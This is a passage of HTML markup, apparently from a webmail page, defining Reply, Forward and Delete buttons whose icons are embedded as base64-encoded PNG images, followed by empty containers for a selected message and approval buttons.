src="data:image/png;base64,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" alt="Transfert"></img></button>
                    <button id="sharedDelButton"><img title="Delete" id="sharedDelButtonImg" src="data:image/png;base64,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" alt="Delete"></img></button>
                </div>-->
            
            </div>

            <div id="inboxButtons">
                    <button id="replyButton"><img title="Reply" id="replyButtonimg" src="data:image/png;base64,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" alt="Reply"></img></button>
                    <button id="transfButton"><img title="Forward" id="transfButtonimg" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAABhGlDQ1BJQ0MgcHJvZmlsZQAAKJF9kT1Iw0AcxV9TxaItDnYQdchQnayDijjWKhShQqkVWnUwufQLmjQkKS6OgmvBwY/FqoOLs64OroIg+AHi7OCk6CIl/i8ptIjx4Lgf7+497t4BQqPCVLMrBqiaZaQTcTGbWxV7XhFACH2YwLDETH0ulUrCc3zdw8fXuyjP8j735wgpeZMBPpE4xnTDIt4gntm0dM77xGFWkhTic+Jxgy5I/Mh12eU3zkWHBZ4ZNjLpeeIwsVjsYLmDWclQiaeJI4qqUb6QdVnhvMVZrdRY6578hcG8trLMdZojSGARS0hBhIwayqjAQpRWjRQTadqPe/iHHH+KXDK5ymDkWEAVKiTHD/4Hv7s1C1OTblIwDnS/2PbHKNCzCzTrtv19bNvNE8D/DFxpbX+1Acx+kl5va5EjoH8buLhua/IecLkDDD7pkiE5kp+mUCgA72f0TTlg4BboXXN7a+3j9AHIUFfJG+DgEBgrUva6x7sDnb39e6bV3w+kBnK62FX/OAAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB+gIDQ0VB1XQQLcAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAHkElEQVRYw7WZTYhkVxXHf/9zX311T89Mj+04zKghiGBMRCOouHDQSDCbRJxNzLgQzEYRxRBUHMhqFuMIRiUudKEBFUQMqJhMxo/4jYgR47gxBBGCiXFkYuaje7q66r17XNR51a+rX3U3AS886tWrd+/93/8553/PPSWATocC6LljAsuOBCKaAybIGSRwB4S7k3MmSziQAXfHTeCT/gKMzXtmPuvfAbI7I2AYYwFQAHhGgUjZwR0hwOO5Q5lxE3IHafKeRJLwAJ0FuZ5Wk5XV7xn1mJvAppc7LlE2wLMFoAyvSpzJZMJxJ8AEe/IpOGIReDDtPpnYa1y+OUGwafMYjHfdnQyUYbCtAMsSN8PdoarCjBksyK9y8AnOBKgjpImZN9mYsOQ1SAn5ZHKb+krD3NrK2NRNtgEM+3tQTXNV8czcY+J69ROg2uZfmyCIvk0/q3/UZLXTvl2gFwDHbQCnc9fgGrQfcOcccCAGMNqbt7CQY4wt+Hyrqet3fwx8Pp771iDx6eCzk1XAEnBzPP8l8Egzyl5Ga5r1KHA/MABuaszbymBTEho+IcDXgdPAA8DTkj7r7tdfDrput6ucs8qyfA9wCvgT8HzDQluatWjSFuo1MYgBDwHvB+5y98eBG4qisKIobC/Aer2eUko2Ho+Lsiw/BfwA+BFwJ/CvGXNvA9gGsikDkuQppV8Bx2Og35VleVvOWXuyq0RVVYfc/VthiY9Lut/M1hvA2gFK03tF1M2yOZGbqsrAs5LuAL4P/DDnfJ+kQUop7QCuOxwObwF+BrwFeC/wbXcvc87VPHBTgKFThuITUlyt5nP3YVEUnwY+Bpxy94erqjowGAy0srIyXdTi4qK63a65+wngCeBZ4HhK6cIuwbPNxOYe2xFTkDXQ1o5lWVZm9l3gduBNwK/X19ff7I1t5Pr16/3RaHQW+DrwkKQPLiwsXKqqqtpDhDdNQEfigMSrIvSPAIdDYt4AXJfUb+u7f/9+Aa8Mp38RuNvMCuDVwE+BF4C7zCz1+/15/noWeBQ4OM/EOUS1ZtAjqxjO8426Xb161SX9V9LdwIPAN3POTwIXQjqOSzpnZr6wsLDTUNbmUtOtLjbqMsz6duCNwFPAP3eSjtFoZO5+SNJLZnY253w+Iv05SY+llIZlWS6UZWmXL19eW1xczGtra77DbjS3FRJLEkfCoZ8Pcb6pzcQppSRpAfgScFHSQh0Uy8vLOnjwYNOcp4GngVvNLHW7XWsx8Tng0G5S1QvfewI4ZWZpBx98LfCLENk7Uko7CfYrQpYuhY+mFoCPx3tzhdrdqaRN0VxcXNyW/phZB3hHLGI/cBtwPjRyXnvRzE4CXwa+kXM+Lanf6XSsJd2aC7BO4xuZzVaX6HQ6lnP+EPAT4I/A7d1u9xlgBTgWYv06Sb2I7CNx/3p3V0rpDHAPcK+7PzIej1d6vZ52i5xZF7UmpXV+5u698Xj8xdiTz0j6SFEUV0ajUQY+CXytqqol4Cl3vzm2s7PufgPwF3c/XFVVJel8sH4U+M3GxsZb5+pfS0uhgT8HPheOfiOwFib9N3CnmaXBYKB+v6+lpSWFnKyYmQHHJHWBZeCQpA5wzMyKpaUlDQYDhWkPAd8L7fw98FhbkBRzwtwBLl++XH/vAO8C/gyczDmfXF9fF8BwOJx2zjkz6xr1fc6Za9eutc2VgLcB51ulZSc96na7Go/HF939C8Ai/5/2cLjVhUiQ9wQwAwwGAyStS3qgKApWV1d93759qqpqEvJVRVVVipSrvrzf71fD4dC73a6NRqMjwLE5QmzAf8LMy8D6Xk0MwJUrV7zOStbW1hKg1dVVtWzszeQiD4fDca/XG0VO8CBwYk4gVOE29wCrswemeQC3bTcBrtdg11uOCvV2CZA3NjaSmTlwb0S5gFuAEfCPOMnV2VKOQPSdZWYGQL/fV6fTsX6/X6WUhimlYVEUG2Y2apzwUrz/FeC3wIdjN3o053wOOGpmlyRdAj4aV5OQcSQl5V6DZLqK4XD4GuAT4/G4zTwvAV9tfH838CTwV+A68AfgM8CNOecXYkGpwZw3WB+1BUgbwFkgByKrKeYA7MTAOfqejwyoA5wB7guWOy0MVQFyIy7fK8DmeeQZ4ISkHJqmhnYVjdyxivcPh68OG6Jbm7GccaMyPkfzzDsPoDeYtMnJzlNL4YcGexVwLVhbBr4T592iTnwlZd9U8NzoV+5UCChagiY3mClnQIvtBZ9Kkrv7+4D9ki5KWs85vxOQmf1tMBhUoQY06i95LxWKonEukTvNPO0DkQvu2hrMTCpQja0u58za2lq9yFsjC/KGG6XdkoPNUp7oRpQ5sDDjj9Zyby2nwOaxtXl8NeC5yJz/3rBEzajvdsxLUcTpN8SzrWbnjb65ZSxvqRTMLq457zhEeleZUZjZGwP5HADzhF5zALZWKvZyWCp2mEA7pWJznmmHLTO3qAC7BUrRQOZAZYZyJotpOXcr4PpIECVgwHOUi90xTf4N8G2qv9m7thINDc27BkldQJKmRSQXk78UkqBy6HQmQ1kU0ouESxOAUTCXOySD6I8s/imIQnx9H/XvLDGe538A/wMecFDyQ5OYmgAAAABJRU5ErkJggg==" alt="Transfert"></img></button>
                    <button id="delButton"><img title="Delete" id="delButtonimg" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAABhGlDQ1BJQ0MgcHJvZmlsZQAAKJF9kT1Iw0AcxV9TxaItDnYQdchQnayDijjWKhShQqkVWnUwufQLmjQkKS6OgmvBwY/FqoOLs64OroIg+AHi7OCk6CIl/i8ptIjx4Lgf7+497t4BQqPCVLMrBqiaZaQTcTGbWxV7XhFACH2YwLDETH0ulUrCc3zdw8fXuyjP8j735wgpeZMBPpE4xnTDIt4gntm0dM77xGFWkhTic+Jxgy5I/Mh12eU3zkWHBZ4ZNjLpeeIwsVjsYLmDWclQiaeJI4qqUb6QdVnhvMVZrdRY6578hcG8trLMdZojSGARS0hBhIwayqjAQpRWjRQTadqPe/iHHH+KXDK5ymDkWEAVKiTHD/4Hv7s1C1OTblIwDnS/2PbHKNCzCzTrtv19bNvNE8D/DFxpbX+1Acx+kl5va5EjoH8buLhua/IecLkDDD7pkiE5kp+mUCgA72f0TTlg4BboXXN7a+3j9AHIUFfJG+DgEBgrUva6x7sDnb39e6bV3w+kBnK62FX/OAAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB+gIDQ0WDOkvyvwAAAAZdEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIEdJTVBXgQ4XAAAG2klEQVRYw+2YW4hkVxWGv7X2PqdOXbqnq8YYFNEZZkZivEQcRISgOImJCAFBM6AE9UWJDIGJJD6oREwelATyJPESHcVBHxQVfBA0xnjJDTUmD+rEC2ZMNAyJMWbKSk1XnbOXD7VOp7qtqqnpjpAHNzRVnKqzz1f/Wutfazf8f21/HTvWlPBChcuyXE4/uS7yQgXctw+Jhj6vgKqqImIAVVXZdvfZs6eQsjyj1bPsTMEYo6aUNKV0CHg3cAEwAn4NHM+y7ARAURT0+/1zAdZej0BiZzloZqtm9nXgBuBx4G7gCeBS4BMppRK4b319PS27Z6NRSK9XhvGYUCW2L6CI5MC3gTFwm6pGgBCC+mcfAgbA1a1Wa+kHhUCIkUajQdFs0tyJgO8AzgC3As8CHw8hhBijFkUhIhKATwJPAr21tTVZuoAzmllGq9GgtRPArwE/FpEM+IBD3pDnubrCAegCTwPvVVUFJIQgi4uMIkbaIdKOkVacEbrCzH4OrAEGJGA6V0+J8E4z9gO/EJEkIt9IKSXgttFolFT1MymlyuFOAvtTSnuB71ZVVcBGbtX7C/CQmV0lQjBQmXxmcZbEwOuBCPwJ+DJQ+mYGPCOiZ8zSEOjUD1LVb3pR3J5SClmW3WRAOR53gKEXzxd83xpwBbgG2D0BVTGrhIQgzPYYEem4VdwIPAV8H3hJlmW65aufBv4MtFdXV6XT6YiH+0rgNPAp4KDn6cUxRgXodrtSFIUAFwIPAL8DvgSccHFWRFgNgVXVGUXigGP3tNcBv3Ul3xxC0G63W/+uPR7CG1U1xhi13W6LqgbgMNAHHgXuVtXYarUkhBD88/cA/wS+5epdC5wQCZkIK6qsqbKqSr4QMMaoAj3guKvykRhj8IQOwFXAv4GvAK8UERWRCLwReBD4G/DqdrstzWZTPCVu9b2uU9Ua+FrgYRHJVFkVoavKqqfDQgXraw3gqKvyVWCX+4G63TzkoXzUoYaeGvunfswrgLuAR4BDnU5nOsOO1oDALhF6IqyIoEsBFkUhIYQAXAz8xXPngknENLgxvwF4n7e8fVmWaZ7n9X2HgMeAnwAv8xxkHqAqu0XoTBXTYsApSAVeCvwQ+AdwpaszpyuEAHzMQ3oL0PFrzAGMInRFeJEI7XktbCbgFkPNgJvcnG+efnCWZerQu70VPgUcdqOetzYAgZ4ILxaZ0+aWAZxS5wrgFHAn8PIplQ+6bfwGuDDPcz1LP64BA9AV4XwRih0BTkEeAO4D/upTzAfdfo57N1pmHQUe9la3yxVs7FjB2vvcPr7o1XsaOBJjDEVRSIxRVTXURr0IsNFoCLDmgBkzfWaJ1W63ZTAYvAv4fVmWJ0IIQzM7klL6EfD3EMKvyrKsQghSluUVwONm9qD33bmrqioRRTAwwwB0WahWqyUiEkSkNRgMPg8cq32uqqrK+/B3gPurqqpcZYC3A3eY2ftFJFukZFVVYpMhNXnfXy7EHqboZnuPT8+XnaUy6Xa74vdd78Pr50SkNaOvb6piVXpzxZvTSXIvgMeAe4E9IhLyPF9qCHXIy7zT/AzY67m7CRDI3QO7tUnr2Q5FItIws6uB7wE/EJFLgJMiQlVV4iN+rLvK9F9dIGaGqt4JvM0nlp8OBoO3eheaAlWxSf6xTIhfJSJrbhd94MOqGr3pA1wHXAJcBNzs4fmo9+bXAp/1Hn49cKmqRgfqALd7yK9x76sVbADniTxnT4uq+ICZ1V52uar+MqVUDodDVlZWpN/v94C228r5ddoBLSAHzvMw9YC2iKSqqlKWZYOyLI+Y2QPALWZ2EPjDRoXLZvVkloJm9jSwDvzRT2enpibqrffajH1s6ju25bvT977Jp+yWT0EX+TQzMuOZRQoOgaZPvfdsGdOfr1WfR0o/85yZVROzDk1DMzsgQjQEMUDMdRDMjP/RKj0H1aYi9V+AeZ6nlNITo9HIYGLnKhpExRqNxo7pyrIkz3OGwyEiQlmW5gq2gMmJzyjn5uCc9RbgNXNLf3vhvSOE8EhVVcmVa/trifAvjPG59OLDwOVbzsfbXXUbO51SOum+WHjlV8DwnBV0/0opJcxM5txngM0emDf9wwlAU0q5Q2UuVOnFecZBFwO619Uw4hWmU+9li5VsAp0xudT3BQeqnWHs5/CRQ6aFVfxcsfSl2USGQ1R1snlKqOrkVQTZAikikBKmujEuiQhihpihIqibQOVKrU9BzczvmYB79yKDEgnrE4BWB6nGyGg8eZgG1KYhHaKGnNjVRk+tryeDsQjrwLoZ1TJFNwtQRiOkCDAUWFuDfh9UMQyTSRolH7Q2wu8WuQnQlUlAacZYhLHZgllvxvoPvXBD5auytf0AAAAASUVORK5CYII=" alt="Delete"></img></button>
                </div>

                

                </br>

            <div id="selectedMail"></div>
                </br>
            <div id="approvalSharedButtons" style="display:none";>
